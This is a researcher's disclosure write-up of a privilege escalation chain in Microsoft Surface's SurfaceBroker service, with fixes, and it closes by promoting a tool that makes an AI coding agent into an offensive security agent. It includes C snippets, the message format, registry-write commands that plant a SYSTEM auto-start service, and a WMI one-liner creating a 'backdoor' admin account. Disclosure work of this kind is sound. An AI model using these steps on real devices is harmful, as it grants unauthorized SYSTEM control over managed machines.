John Carroll
Exploitation

Surface Pro - EoP

Two authorization failures in Microsoft's Surface Device Management Architecture allow a standard user to escalate to NT AUTHORITY\SYSTEM on any Surface device. No admin prerequisites, no UAC, no user interaction. Two bugs, eight steps, one reboot.

7 min read John Carroll

MSRC Case 107703, Submission VULN-174406. Reported February 17th 2026. Accepted February 18th. 90+ days.


The Service

Every Surface ships with a SYSTEM service called SurfaceBroker. Package name Microsoft.SurfaceHub_75.11130.117.0_x64__8wekyb3d8bbwe. It runs as LocalSystem and orchestrates 14 microservices — Device Managers — each handling a specific hardware function: battery, firmware, display, type cover, registry, WMI.

One RPC endpoint. One function.

ncalrpc:[SurfaceBrokerRpc.v2]
Interface: BF9F27E2-4405-4FC8-A44E-4CDA2073BEBE v1.0
Function:  ProcessBrokerDataRequest(request_data[]) → response_data[]

Everything goes through that single function. Messages are Protocol Buffers in a custom nested envelope. The broker validates, routes to the correct DM, returns the response. Standard broker pattern.

Behind the broker, two DMs matter:

RegistryDm (d94e201c-708d-4f06-b9c7-95ae86e2c9a5) — reads and writes HKLM registry keys as SYSTEM.

WmiDm (89d5c204-1a6f-4f1f-8230-fe2391e3a912) — invokes arbitrary WMI methods as SYSTEM.

Both run as NT AUTHORITY\SYSTEM. Both accept requests from any authenticated caller. The question is how the broker decides who's authenticated.


Bug One: Trusting the Wrong Identity Primitive

To understand this bug, you need to understand how Windows identifies processes. Every running process has a token — a bundle of security information that says who the process is, what groups it belongs to, and what capabilities it has. When a service wants to check if a caller is authorised, it inspects the caller's token.

AppContainers are a Windows sandboxing feature introduced for UWP and Store apps. The idea is simple: an app declares capabilities it needs (camera access, file access, network access), and the OS restricts it to only those capabilities. The capabilities appear in the process token as SIDs — Security Identifiers.

Here's the important distinction that SurfaceBroker gets wrong: AppContainer capabilities are for restricting what a sandboxed process can do. They are not for proving what a process is. Any user can create an AppContainer and assign any capabilities they want. That's by design — it's a sandboxing API, not an authentication API.

The RPC security callback checks the caller's token for two AppContainer capability SIDs:

systemManagement:
  S-1-15-3-1024-1023893147-235863880-425656572-4266519675-
  2590647553-3475379062-430000033-3360374247

surfaceDiagnostics:
  S-1-15-3-1024-4255513387-3291848077-777312126-3061150041-
  664000-1971711331-976518648-1617839858

The assumption: only the signed Surface UWP app has these SIDs, because they're declared in its MSIX manifest. Token has both SIDs? Must be the Surface app. Let it through.

The problem: AppContainer capabilities are self-assignable. Any local user — standard, no admin — can create an AppContainer profile with arbitrary capabilities using CreateAppContainerProfile(). This is documented behaviour. AppContainers are a sandboxing mechanism for restricting processes. They were never designed to authorise access to privileged services.

// No elevation required for any of this

pDeriveCap(L"systemManagement",
    &sysMgmtGroupSids, &sysMgmtGroupCount,
    &sysMgmtCapSids, &sysMgmtCapCount);

pDeriveCap(L"Microsoft.surfaceDiagnostics_8wekyb3d8bbwe",
    &surfDiagGroupSids, &surfDiagGroupCount,
    &surfDiagCapSids, &surfDiagCapCount);

// Build capability array
for (DWORD i = 0; i < sysMgmtCapCount; i++) {
    caps[capIdx].Sid = sysMgmtCapSids[i];
    caps[capIdx].Attributes = SE_GROUP_ENABLED;
    capIdx++;
}
for (DWORD i = 0; i < surfDiagCapCount; i++) {
    caps[capIdx].Sid = surfDiagCapSids[i];
    caps[capIdx].Attributes = SE_GROUP_ENABLED;
    capIdx++;
}

// Create the AppContainer — standard user, no UAC
hr = pCreate(L"SurfaceBrokerResearch",
    L"SB Research", L"Security research",
    caps, totalCaps, &pSid);

Spawn a child process inside that AppContainer. The child's token now contains both required SIDs. When it binds to the RPC endpoint and calls ProcessBrokerDataRequest, SurfaceBroker inspects the token, finds the expected capabilities, and grants access.

A standard user just authenticated to a SYSTEM service using credentials they gave themselves.

The correct primitive here is PackageFamilySid — bound to the signed MSIX package, not self-assignable by arbitrary processes. That's what the callback should check.


Bug Two: Unrestricted HKLM Write as SYSTEM

Past the RPC callback, the caller can route requests to any of the 14 Device Managers. RegistryDm exposes two verbs:

GET: 07d954b1-88b2-43f0-9f8e-d94ba9b3f4ea
SET: 6b11fece-74fd-4199-8645-64f352e73c51

The SET operation takes a key path, value name, and data. It calls Registry.SetValue() on HKLM as SYSTEM. The caller provides the path. RegistryDm doesn't validate it. No allowlist. No scope restriction. No check that the path is anywhere near SOFTWARE\Microsoft\Surface\.

Any HKLM key. As SYSTEM. From a standard user.

That's SYSTEM\CurrentControlSet\Services\ for creating Windows services. SAM\ for user accounts. SECURITY\ for LSA secrets. SOFTWARE\Microsoft\Windows\CurrentVersion\Run for persistence. Image File Execution Options for debugger injection. All of it writable.


The Wire Format

This took the most time. The protobuf envelope is nested five levels deep with google.protobuf.Any fields and case-sensitive type URLs that differ between layers.

Envelope
├── Sequence (varint)
├── Header
│   ├── Timestamp (seconds + nanos, must be within ~30s of system time)
│   ├── SessionId (random UUID, prevents replay)
│   ├── SenderName
│   └── SenderNodeId
├── From (UUID)
├── To (UUID — d94e201c... for RegistryDm)
└── Content (Any)
    ├── type_url: "type.googleapis.com/microsoft.surface.SDMA.EnvContent"
    │                                   ^ lowercase
    └── EnvContent
        └── VerbRequest
            ├── VerbInfo (VerbId UUID, FriendlyName, RequestType)
            └── Data (Any)
                ├── type_url: "type.googleapis.com/Microsoft.Surface.SDMA.Microservice.Data.SetLocalMachineRegistryRequest"
                │                                   ^ uppercase
                └── SetLocalMachineRegistryRequest
                    ├── Key
                    ├── Name
                    └── Value

The case sensitivity is the kind of detail that costs you hours. The outer EnvContent type URL uses lowercase microsoft. The inner request data uses uppercase Microsoft. Get either wrong and the broker silently drops the message. No error, no response, nothing.

Timestamps must be fresh — the broker checks that the envelope timestamp is within roughly 30 seconds of the system clock. Pre-built payloads go stale. The PoC generates timestamps inline:

FILETIME ft;
GetSystemTimeAsFileTime(&ft);
ULARGE_INTEGER uli;
uli.LowPart = ft.dwLowDateTime;
uli.HighPart = ft.dwHighDateTime;
unsigned long long unix100ns = uli.QuadPart - 116444736000000000ULL;
unsigned long long seconds = unix100ns / 10000000ULL;
unsigned long long nanos = (unix100ns % 10000000ULL) * 100ULL;

Session IDs prevent replay. Each request carries a random UUID tracked in a balanced tree on the broker side. Same UUID twice, second request rejected.

I wrote the entire protobuf encoder inline rather than pulling in the library. 791 lines of C for the complete client — RPC binding, AppContainer creation, envelope construction, token introspection.


The Chain: Eight Steps

Starting state: standard user. No admin group. Medium integrity. SID S-1-5-21-...-1005.

Step 1 — Create the AppContainer profile with both capability SIDs. No elevation.

Step 2 — From inside the AppContainer, write a service ImagePath to the registry:

broker_client.exe appcontainer regset
  SYSTEM\CurrentControlSet\Services\SdmaLPE
  ImagePath
  C:\Users\Public\add_admin.exe

That single command creates the AppContainer, spawns the child, binds the RPC endpoint, builds the protobuf envelope with a fresh timestamp, calls ProcessBrokerDataRequest, routes through SurfaceBroker to RegistryDm, and writes to HKLM as SYSTEM.

Steps 3–6 — Four more writes for the service definition:

regsetdw ... Type        16    (WIN32_OWN_PROCESS)
regsetdw ... Start       2     (AUTO_START)
regsetdw ... ErrorControl 0
regset   ... ObjectName  LocalSystem

Step 7shutdown /r /t 0. Standard users can reboot.

Step 8 — On boot, the Service Control Manager finds the new auto-start service and executes the payload as NT AUTHORITY\SYSTEM. The payload creates a local admin account.

There's a detail worth noting in the exploitation. RegistryDm writes the value to HKLM before constructing the RPC response. The response path has a bug — an unpopulated VerbId field causes a NullReferenceException during serialization. The RPC call returns an error code. But the registry write already committed. Fire-and-forget. The PoC ignores the error and verifies the write with a subsequent GET.


The WMI Path

RegistryDm isn't the only exploitable DM. WmiDm takes a method name, WMI scope, path, and parameters — all caller-controlled, no allowlist.

Win32_Process.Create("cmd.exe /c net user backdoor P@ss /add")

Executes as SYSTEM without touching the registry. Independent path to code execution from the same authentication bypass. I documented it but the registry path was cleaner for a PoC that leaves auditable evidence.


Who This Affects

CVSS 3.1: 7.8 High — Local access, low complexity, low privilege required, no user interaction. Complete compromise of confidentiality, integrity, and availability.

SDMA ships as a default system component on every Surface device Microsoft sells. The Surface line is Microsoft's reference hardware for enterprise — it's their pitch to organisations that want managed, secured, Intune-integrated endpoints. Enterprise Surface deployment grew 36% in 2025. The education sector accounts for 17% of Surface sales. Surface Laptop Studio 2 saw 48% higher adoption among engineering and creative professionals.

These devices sit in hospitals, schools, government offices, financial services desks, hot-desking environments, exam rooms, kiosks. The environments where local privilege escalation matters most — where a standard user account is a deliberate security boundary, not a convenience.

A standard user on a managed Surface can now become a local administrator. Intune policies, Group Policy restrictions, application whitelisting, conditional access — all of it assumes the user stays within their privilege boundary. This chain bypasses that assumption at the operating system level.

The exploit requires local access and a reboot. It doesn't work remotely. But in any scenario where an untrusted or semi-trusted user has physical access to a Surface device — and that's most of the enterprise deployment scenarios Microsoft markets these devices for — the local privilege boundary is the security model, this chain breaks it.

Not eligable for bounty ... another reason to send your MS Bugs to a more gratuitous audiance


The Disclosure - post 90 Days.

I reported the full chain to MSRC on February 17th 2026. Complete delivery package: formal vulnerability report, technical write-up, full source code, compiled binaries, one-click batch file, and video evidence. Everything needed to reproduce it without reading a document.

Accepted February 18th.

Will update with a CVE when it lands.


The Fix

Two changes:

Replace capability SID checks with PackageFamilySid verification. The RPC callback should confirm the caller's token belongs to the signed Microsoft.SurfaceHub_8wekyb3d8bbwe package. Package family SIDs cannot be self-assigned. This closes the authentication bypass entirely.

Path-based allowlists on every Device Manager. RegistryDm should reject any key not under SOFTWARE\Microsoft\Surface\*. WmiDm should allowlist methods and scopes. The broker's single-gateway authentication means any DM failure is a SYSTEM-level compromise — each DM needs its own authorization boundary.


TEF

This finding is published in Triage Evidence Format — an IETF Internet-Draft (draft-tcr-tef-00) designed to standardise how vulnerability evidence is structured for triage. The TEF document for this chain includes the full defect classification, three evidence scenarios (auth bypass, arbitrary HKLM write, and the complete chain), reproduction commands, and file references.

Download TEF document

If you're building intake processes for vulnerability reports, TEF is worth looking at. It forces structure on evidence and that means less chaos, more of that here


Reflection

There's a lot going on and you're probably wondering how the fuck did you keep your eyes on all these moving parts? again, another scalp for Raptor go be a part of it. https://github.com/gadievron/raptor

GitHub - gadievron/raptor: Raptor turns Claude Code into a general-purpose AI offensive/defensive security agent. By using Claude.md and creating rules, sub-agents, and skills, and orchestrating security tool usage, we configure the agent for adversarial thinking, and perform research or attack/defense operations.
Raptor turns Claude Code into a general-purpose AI offensive/defensive security agent. By using Claude.md and creating rules, sub-agents, and skills, and orchestrating security tool usage, we confi…
Exploitation
CVE-2026-34910
Post

CVE-2026-34910

A malicious actor with access to the network could exploit an Improper Input Validation vulnerability found in UniFi OS devices to execute a Command Injection. https://github.com/gadievron/raptor

26 May 2026 · 1 min read
Synology DSM 7.3.2
Post

Synology DSM 7.3.2

Chaining three issues to gain root from a low privileged user.

25 Jan 2026 · 4 min read
CVE-2025-37186 HP
Post

CVE-2025-37186 HP

The HP Aruba VIA VPN client for Linux contains a local privilege escalation vulnerability that allows any unprivileged local user to gain root access. - CVE-2025-37186 - Another Scalp for Raptor

26 Dec 2025 · 4 min read